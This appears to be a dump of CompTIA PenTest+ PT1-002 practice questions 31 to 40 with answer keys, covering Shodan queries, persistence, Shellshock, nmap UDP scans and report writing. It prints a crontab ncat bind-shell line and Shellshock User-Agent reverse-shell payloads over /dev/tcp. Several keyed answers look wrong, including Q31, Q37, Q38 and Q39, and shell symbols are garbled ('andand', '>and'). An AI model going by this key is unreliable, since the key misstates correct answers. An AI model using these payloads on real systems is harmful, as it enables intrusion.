CompTIA CompTIA PenTest+ PT1-002 Questions & Answers

• Question 31:

  A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

  A. "cisco-ios" "admin+1234"

  B. "cisco-ios" "no-password"

  C. "cisco-ios" "default-passwords"

  D. "cisco-ios" "last-modified"

  Correct Answer: A

• Question 32:

  A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

  A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe

  B. wmic startup get caption,command

  C. crontab –l; echo “@reboot sleep 200 andand ncat –lvp 4242 –e /bin/bash”) | crontab 2>/dev/null

  D. sudo useradd –ou 0 –g 0 user

  Correct Answer: B

• Question 33:

  Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

  A. HTTPS communication

  B. Public and private keys

  C. Password encryption

  D. Sessions and cookies

  Correct Answer: D

• Question 34:

  A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

  A. OpenVAS

  B. Nikto

  C. SQLmap

  D. Nessus

  Correct Answer: C

  Reference: https://phoenixnap.com/blog/best-penetration-testing-tools

• Question 35:

  Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

  A. NIST SP 800-53

  B. OWASP Top 10

  C. MITRE ATTandCK framework

  D. PTES technical guidelines

  Correct Answer: C

  Reference: https://digitalguardian.com/blog/what-mitre-attck-framework

• Question 36:

  A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

  exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>and /dev/tcp/127.0.0.1/9090 0>and1”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

  Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

  A. exploits = {“User-Agent”: “() { ignored;};/bin/bash –i id;whoami”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

  B. exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>and find / -perm -4000”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

  C. exploits = {“User-Agent”: “() { ignored;};/bin/sh –i ps –ef” 0>and1”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

  D. exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>and /dev/tcp/10.10.1.1/80” 0>and1”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

  Correct Answer: D

• Question 37:

  A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

  A. Smurf

  B. Ping flood

  C. Fraggle

  D. Ping of death

  Correct Answer: A

  Reference: https://resources.infosecinstitute.com/topic/icmp-attacks/

• Question 38:

  Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

  A. A quick description of the vulnerability and a high-level control to fix it

  B. Information regarding the business impact if compromised

  C. The executive summary and information regarding the testing company

  D. The rules of engagement from the assessment

  Correct Answer: B

• Question 39:

  A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

  A. nmap –vv sUV –p 53, 123-159 10.10.1.20/24 –oA udpscan

  B. nmap –vv sUV –p 53,123,161-162 10.10.1.20/24 –oA udpscan

  C. nmap –vv sUV –p 53,137-139,161-162 10.10.1.20/24 –oA udpscan

  D. nmap –vv sUV –p 53, 122-123, 160-161 10.10.1.20/24 –oA udpscan

  Correct Answer: B

• Question 40:

  A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

  A. ROE

  B. SLA

  C. MSA

  D. NDA

  Correct Answer: D